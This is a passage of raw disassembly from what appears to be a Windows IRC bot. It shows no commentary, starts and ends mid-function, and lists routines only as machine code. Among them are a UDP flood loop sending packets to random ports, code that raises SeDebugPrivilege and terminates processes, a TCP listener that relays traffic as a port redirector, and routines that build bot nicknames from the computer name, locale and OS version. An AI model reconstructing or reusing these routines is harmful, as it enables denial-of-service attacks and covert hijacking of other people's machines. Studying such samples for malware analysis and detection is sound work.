call sub_40CB55
pop ecx
push 11h
push 2
push 2
call dword_42D8F4 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_40CC40
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_42D8B4 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_405BF6
lea eax, [ebp+var_B0]
push eax
call dword_42D8F8 ; gethostbyname
cmp eax, edi
jnz short loc_405BEF
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_41CE28
push eax
call sub_40C6C3
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_405BD2
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_404555
add esp, 14h
loc_405BD2: ; CODE XREF: sub_405B11+9Fj
lea eax, [ebp+var_334]
push eax
call sub_403145
push [ebp+var_20]
call sub_40C378
pop ecx
pop ecx
push esi
call dword_418050 ; ExitThread
loc_405BEF: ; CODE XREF: sub_405B11+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_405BF9
; ---------------------------------------------------------------------------
loc_405BF6: ; CODE XREF: sub_405B11+6Ej
lea eax, [ebp+arg_0]
loc_405BF9: ; CODE XREF: sub_405B11+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_405C14
call sub_40CB5F
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_405C17
; ---------------------------------------------------------------------------
loc_405C14: ; CODE XREF: sub_405B11+F0j
push [ebp+var_24]
loc_405C17: ; CODE XREF: sub_405B11+101j
call dword_42D878 ; htons
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_405C29
mov [ebp+var_24], esi
loc_405C29: ; CODE XREF: sub_405B11+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_405C36
mov [ebp+var_24], eax
loc_405C36: ; CODE XREF: sub_405B11+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_405C4A
mov [ebp+var_28], esi
loc_405C4A: ; CODE XREF: sub_405B11+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_405CC3
loc_405C51: ; CODE XREF: sub_405B11+158j
call sub_40CB5F
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_405C51
jmp short loc_405CC3
; ---------------------------------------------------------------------------
loc_405C6D: ; CODE XREF: sub_405B11+1B5j
dec [ebp+var_30]
push 0Bh
pop esi
loc_405C73: ; CODE XREF: sub_405B11+192j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_40CB5F
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_42D8D8 ; sendto
push [ebp+var_28]
call dword_418040 ; Sleep
dec esi
jnz short loc_405C73
cmp [ebp+var_24], edi
jnz short loc_405CC3
call sub_40CB5F
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_42D878 ; htons
mov [ebp+var_E], ax
loc_405CC3: ; CODE XREF: sub_405B11+13Ej
; sub_405B11+15Aj ...
cmp [ebp+var_30], edi
jg short loc_405C6D
dec [ebp+var_30]
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_41CDF8
push eax
call sub_40C6C3
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_405D0B
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_404555
add esp, 14h
loc_405D0B: ; CODE XREF: sub_405B11+1D8j
lea eax, [ebp+var_334]
push eax
call sub_403145
push [ebp+var_20]
call sub_40C378
pop ecx
pop ecx
push edi
call dword_418050 ; ExitThread
sub_405B11 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405D28 proc near ; CODE XREF: sub_4054F9+7p
; sub_405D93+53p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_4180D4 ; GetCurrentProcess
push eax
call dword_42D85C ; OpenProcessToken
test eax, eax
jnz short loc_405D47
leave
retn
; ---------------------------------------------------------------------------
loc_405D47: ; CODE XREF: sub_405D28+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_42D838 ; LookupPrivilegeValueA
test eax, eax
jz short loc_405D85
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_405D6E
or [ebp+var_8], 2
jmp short loc_405D72
; ---------------------------------------------------------------------------
loc_405D6E: ; CODE XREF: sub_405D28+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_405D72: ; CODE XREF: sub_405D28+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_42D8E0 ; AdjustTokenPrivileges
mov esi, eax
loc_405D85: ; CODE XREF: sub_405D28+32j
push [ebp+var_4]
call dword_41807C ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_405D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405D93 proc near ; CODE XREF: sub_405F40+74p
; sub_4077FD+2BD4p
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_42D898, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz short loc_405E38
cmp dword_42D87C, ebx
jz short loc_405E38
cmp dword_42D7A8, ebx
jz short loc_405E38
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_405D28
pop ecx
pop ecx
push ebx
push 0Fh
call dword_42D898 ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz short loc_405E2B
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push [ebp+var_4]
call dword_42D87C ; Process32First
mov esi, dword_41807C
test eax, eax
jnz loc_405EEE
loc_405E26: ; CODE XREF: sub_405D93+173j
push [ebp+var_4]
call esi ; CloseHandle
loc_405E2B: ; CODE XREF: sub_405D93+69j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_405D28
pop ecx
pop ecx
loc_405E38: ; CODE XREF: sub_405D93+3Aj
; sub_405D93+42j ...
xor eax, eax
loc_405E3A: ; CODE XREF: sub_405D93+1A8j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_405E3F: ; CODE XREF: sub_405D93+16Dj
cmp [ebp+arg_10], ebx
jnz loc_405EEE
cmp [ebp+arg_C], ebx
jnz loc_405ED9
cmp [ebp+arg_4], ebx
jz loc_405EEE
push [ebp+var_124]
push 8
call dword_42D898 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], ebx
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_405E99
lea eax, [ebp+var_350]
push eax
push edi
call dword_42D758 ; Module32First
push [ebp+var_124]
test eax, eax
jz short loc_405E9F
lea eax, [ebp+var_230]
jmp short loc_405EA5
; ---------------------------------------------------------------------------
loc_405E99: ; CODE XREF: sub_405D93+E4j
push [ebp+var_124]
loc_405E9F: ; CODE XREF: sub_405D93+FCj
lea eax, [ebp+var_108]
loc_405EA5: ; CODE XREF: sub_405D93+104j
push eax
lea eax, [ebp+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_40C6C3
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
push edi
call esi ; CloseHandle
jmp short loc_405EEE
; ---------------------------------------------------------------------------
loc_405ED9: ; CODE XREF: sub_405D93+B8j
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz short loc_405F0B
loc_405EEE: ; CODE XREF: sub_405D93+8Dj
; sub_405D93+AFj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call dword_42D7A8 ; Process32Next
test eax, eax
jnz loc_405E3F
jmp loc_405E26
; ---------------------------------------------------------------------------
loc_405F0B: ; CODE XREF: sub_405D93+159j
push [ebp+var_124]
push ebx
push 1F0FFFh
call dword_4180DC ; OpenProcess
push [ebp+var_4]
mov edi, eax
call esi ; CloseHandle
push ebx
push edi
call dword_4180D8 ; TerminateProcess
test eax, eax
jnz short loc_405F38
push edi
call esi ; CloseHandle
jmp loc_405E38
; ---------------------------------------------------------------------------
loc_405F38: ; CODE XREF: sub_405D93+19Bj
xor eax, eax
inc eax
jmp loc_405E3A
sub_405D93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405F40 proc near ; DATA XREF: sub_4077FD+3462o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset dword_41CEBC
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_40C6C3
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_405F9F
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_404555
add esp, 14h
loc_405F9F: ; CODE XREF: sub_405F40+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_405D93
add esp, 18h
test eax, eax
lea eax, [ebp+var_298]
jnz short loc_405FCD
push offset unk_41CE94
jmp short loc_405FD2
; ---------------------------------------------------------------------------
loc_405FCD: ; CODE XREF: sub_405F40+84j
push offset unk_41CE70
loc_405FD2: ; CODE XREF: sub_405F40+8Bj
push eax
call sub_40C6C3
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_405FFF
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_404555
add esp, 14h
loc_405FFF: ; CODE XREF: sub_405F40+9Dj
lea eax, [ebp+var_298]
push eax
call sub_403145
push [ebp+var_14]
call sub_40C378
pop ecx
pop ecx
push esi
call dword_418050 ; ExitThread
pop edi
pop esi
sub_405F40 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40601E proc near ; CODE XREF: sub_4077FD+2B72p
; sub_40C19D+4Dp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
xor edi, edi
inc edi
push 0
push 1F0FFFh
call dword_4180DC ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_406050
push 0
push esi
call dword_4180D8 ; TerminateProcess
test eax, eax
jnz short loc_406050
push esi
xor edi, edi
call dword_41807C ; CloseHandle
loc_406050: ; CODE XREF: sub_40601E+1Aj
; sub_40601E+27j
mov eax, edi
pop edi
pop esi
retn
sub_40601E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406055 proc near ; DATA XREF: sub_4077FD+20D2o
var_350 = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_40CC40
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call dword_42D878 ; htons
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call dword_42D8F4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_4061AD
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_42F414[ecx], eax
call dword_42D7A4 ; WSAAsyncSelect
lea eax, [ebp+var_14]
push edi
push eax
push [ebp+arg_0]
call dword_42D8A4 ; bind
test eax, eax
jnz loc_4061AD
push 0Ah
push [ebp+arg_0]
call dword_42D8A0 ; listen
test eax, eax
jnz loc_4061AD
loc_406105: ; CODE XREF: sub_406055+C6j
; sub_406055+153j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call dword_42D908 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_406105
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call dword_42D900 ; inet_ntoa
push eax
lea eax, [ebp+var_350]
push offset unk_41D760
push eax
call sub_40C6C3
push edi
lea eax, [ebp+var_350]
push 0Fh
push eax
call sub_40C062
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov dword_42F40C[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_4061D2
push esi
push esi
call dword_418048 ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_42F41C[ecx], eax
jz short loc_4061B0
jmp short loc_4061A3
; ---------------------------------------------------------------------------
loc_40619B: ; CODE XREF: sub_406055+151j
push 32h
call dword_418040 ; Sleep
loc_4061A3: ; CODE XREF: sub_406055+144j
cmp [ebp+var_30], esi
jz short loc_40619B
jmp loc_406105
; ---------------------------------------------------------------------------
loc_4061AD: ; CODE XREF: sub_406055+63j
; sub_406055+97j ...
mov edi, [ebp+arg_0]
loc_4061B0: ; CODE XREF: sub_406055+142j
push edi
call dword_42D90C ; closesocket
push [ebp+arg_0]
call dword_42D90C ; closesocket
push [ebp+var_40]
call sub_40C378
pop ecx
push esi
call dword_418050 ; ExitThread
pop edi
pop esi
sub_406055 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4061D2 proc near ; DATA XREF: sub_406055+124o
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_40CCA0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
xor ecx, ecx
inc ecx
push 6
push ecx
push 2
mov [eax+120h], ecx
mov [ebp+var_4], ebx
call dword_42D8F4 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_406373
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_40CC40
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_42D878 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_42D8B4 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_406262
lea eax, [ebp+var_13C]
push eax
call dword_42D8F8 ; gethostbyname
jmp short loc_406270
; ---------------------------------------------------------------------------
loc_406262: ; CODE XREF: sub_4061D2+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_42D834 ; gethostbyaddr
loc_406270: ; CODE XREF: sub_4061D2+8Ej
cmp eax, edi
jz loc_406373
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_42D824 ; connect
cmp eax, 0FFFFFFFFh
jz loc_406373
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_42D900 ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_41D7A8
push eax
call sub_40C6C3
push esi
lea eax, [ebp+var_344]
push 0Fh
push eax
call sub_40C062
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_42F414[ebx]
mov dword_42F40C[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_42F418[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_4063A4
push edi
push edi
call dword_418048 ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_42F41C[ecx], eax
jz short loc_406373
jmp short loc_40632C
; ---------------------------------------------------------------------------
loc_406324: ; CODE XREF: sub_4061D2+15Dj
push 32h
call dword_418040 ; Sleep
loc_40632C: ; CODE XREF: sub_4061D2+150j
cmp [ebp+var_20], edi
jz short loc_406324
mov ebx, 1000h
loc_406336: ; CODE XREF: sub_4061D2+19Fj
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_40CC40
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_42D890 ; recv
cmp eax, edi
jle short loc_406373
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_42D8C4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_406336
loc_406373: ; CODE XREF: sub_4061D2+44j
; sub_4061D2+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_42F414[eax]
call dword_42D90C ; closesocket
push [ebp+arg_0]
call dword_42D90C ; closesocket
push [ebp+var_4]
call sub_40C378
pop ecx
push edi
call dword_418050 ; ExitThread
pop edi
pop esi
pop ebx
sub_4061D2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4063A4 proc near ; DATA XREF: sub_4061D2+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_40CCA0
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_4063DB: ; CODE XREF: sub_4063A4+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_40CC40
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_42F418[esi]
call dword_42D890 ; recv
test eax, eax
jle short loc_406422
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_42F414[esi]
call dword_42D8C4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4063DB
loc_406422: ; CODE XREF: sub_4063A4+61j
push dword_42F418[esi]
call dword_42D90C ; closesocket
push [ebp+var_14]
call sub_40C378
pop ecx
push 0
call dword_418050 ; ExitThread
pop edi
pop esi
sub_4063A4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_406441 proc near ; CODE XREF: sub_406777+4Ap
; DATA XREF: .nsp0:off_41D800o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
call dword_41805C ; GetTickCount
push eax
call sub_40CB55
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset aWw ; "Ww|"
push offset aS_0 ; "%s"
push 1Ch
push edi
call sub_40D3F7
xor esi, esi
add esp, 10h
cmp dword_41DE54, esi
jle short loc_40649A
loc_406474: ; CODE XREF: sub_406441+57j
call sub_40CB5F
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_41D854
push 1Ch
push edi
call sub_40D3F7
add esp, 14h
inc esi
cmp esi, dword_41DE54
jl short loc_406474
loc_40649A: ; CODE XREF: sub_406441+31j
mov eax, edi
pop edi
pop esi
retn
sub_406441 endp
; =============== S U B R O U T I N E =======================================
sub_40649F proc near ; CODE XREF: sub_4077FD+24E7p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_41805C ; GetTickCount
push eax
call sub_40CB55
pop ecx
call sub_40CB5F
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_41DE54
test esi, esi
jle short loc_4064E2
loc_4064CC: ; CODE XREF: sub_40649F+41j
call sub_40CB5F
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_4064CC
loc_4064E2: ; CODE XREF: sub_40649F+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40649F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov dword ptr [ebp-4], 100h
call dword_41805C ; GetTickCount
push eax
call sub_40CB55
pop ecx
lea eax, [ebp-4]
mov esi, offset dword_41D85C
push eax
push esi
call dword_4180D0 ; GetComputerNameA
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_40D3F7
xor esi, esi
add esp, 0Ch
cmp dword_41DE54, esi
jle short loc_406555
loc_40652F: ; CODE XREF: .nsp0:00406553j
call sub_40CB5F
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_41D854
push 1Ch
push edi
call sub_40D3F7
add esp, 14h
inc esi
cmp esi, dword_41DE54
jl short loc_40652F
loc_406555: ; CODE XREF: .nsp0:0040652Dj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_41805C ; GetTickCount
push eax
call sub_40CB55
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_418000 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_41D860
push 1Ch
push edi
call sub_40D3F7
xor esi, esi
add esp, 10h
cmp dword_41DE54, esi
jle short loc_4065CA
loc_4065A4: ; CODE XREF: .nsp0:004065C8j
call sub_40CB5F
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_41D854
push 1Ch
push edi
call sub_40D3F7
add esp, 14h
inc esi
cmp esi, dword_41DE54
jl short loc_4065A4
loc_4065CA: ; CODE XREF: .nsp0:004065A2j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_4242F0
mov dword ptr [ebp-94h], 94h
call dword_4180E0 ; GetVersionExA
call dword_41805C ; GetTickCount
push eax
call sub_40CB55
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_406654
cmp dword ptr [ebp-8Ch], 0
jnz short loc_406634
cmp dword ptr [ebp-84h], 1
jnz short loc_406624
mov esi, offset dword_41D888
loc_406624: ; CODE XREF: .nsp0:0040661Dj
cmp dword ptr [ebp-84h], 2
jnz short loc_406690
mov esi, offset dword_41D884
jmp short loc_406690
; ---------------------------------------------------------------------------
loc_406634: ; CODE XREF: .nsp0:00406614j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_406644
mov esi, offset dword_41D880
jmp short loc_406690
; ---------------------------------------------------------------------------
loc_406644: ; CODE XREF: .nsp0:0040663Bj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40668B
mov esi, offset dword_41D87C
jmp short loc_406690
; ---------------------------------------------------------------------------
loc_406654: ; CODE XREF: .nsp0:0040660Bj
cmp dword ptr [ebp-90h], 5
jnz short loc_40668B
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40666D
mov esi, offset dword_41D878
jmp short loc_406690
; ---------------------------------------------------------------------------
loc_40666D: ; CODE XREF: .nsp0:00406664j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40667D
mov esi, offset dword_41D874
jmp short loc_406690
; ---------------------------------------------------------------------------
loc_40667D: ; CODE XREF: .nsp0:00406674j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_41D870
jz short loc_406690
loc_40668B: ; CODE XREF: .nsp0:0040664Bj
; .nsp0:0040665Bj
mov esi, offset dword_41D86C
loc_406690: ; CODE XREF: .nsp0:0040662Bj
; .nsp0:00406632j ...
mov edi, [ebp+8]
push esi
push offset dword_41D864
push 1Ch
push edi
call sub_40D3F7
xor esi, esi
add esp, 10h
cmp dword_41DE54, esi
jle short loc_4066D4
loc_4066AE: ; CODE XREF: .nsp0:004066D2j
call sub_40CB5F
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_41D854
push 1Ch
push edi
call sub_40D3F7
add esp, 14h
inc esi
cmp esi, dword_41DE54
jl short loc_4066AE
loc_4066D4: ; CODE XREF: .nsp0:004066ACj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4066DA proc near ; CODE XREF: sub_406777+5Dp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call dword_41805C ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
call dword_42D884 ; FindWindowA
cmp esi, 0Ah
jbe short loc_406729
test eax, eax
mov eax, offset dword_41D894
jnz short loc_406712
mov eax, offset byte_4242F0
loc_406712: ; CODE XREF: sub_4066DA+31j
push eax
push esi
push offset dword_41D88C
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_40D3F7
add esp, 14h
jmp short loc_406743
; ---------------------------------------------------------------------------
loc_406729: ; CODE XREF: sub_4066DA+28j
test eax, eax
mov eax, offset dword_41D894
jnz short loc_406737
mov eax, offset byte_4242F0
loc_406737: ; CODE XREF: sub_4066DA+56j
push eax
lea eax, [ebp+var_1C]
push eax
call sub_40C6C3
pop ecx
pop ecx
loc_406743: ; CODE XREF: sub_4066DA+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_40CBC0
pop ecx
cmp eax, 2
pop esi
jbe short loc_406772
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_40C5A0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_40C720
add esp, 18h
loc_406772: ; CODE XREF: sub_4066DA+77j
mov eax, [ebp+arg_0]
leave
retn
sub_4066DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406777 proc near ; CODE XREF: sub_40752C+7Fp
; sub_407681+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
xor esi, esi
loc_406780: ; CODE XREF: sub_406777+40j
cmp [ebp+arg_C], 0
jz short loc_40679E
lea eax, dword_41D7F0[esi]
push eax
push [ebp+arg_C]
call sub_40D860
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_4067AC
; ---------------------------------------------------------------------------
loc_40679E: ; CODE XREF: sub_406777+Dj
mov ecx, dword_41D7FC[esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_4067AC: ; CODE XREF: sub_406777+25j
test eax, eax
jnz short loc_4067BB
add esi, 14h
inc edi
cmp esi, 64h
jb short loc_406780
jmp short loc_4067C9
; ---------------------------------------------------------------------------
loc_4067BB: ; CODE XREF: sub_406777+37j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_41D800[eax*4]
pop ecx
loc_4067C9: ; CODE XREF: sub_406777+42j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_4067DC
push [ebp+arg_0]
call sub_4066DA
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4067DC: ; CODE XREF: sub_406777+58j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_406777 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4067E1 proc near ; DATA XREF: sub_4068AE+7Bo
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
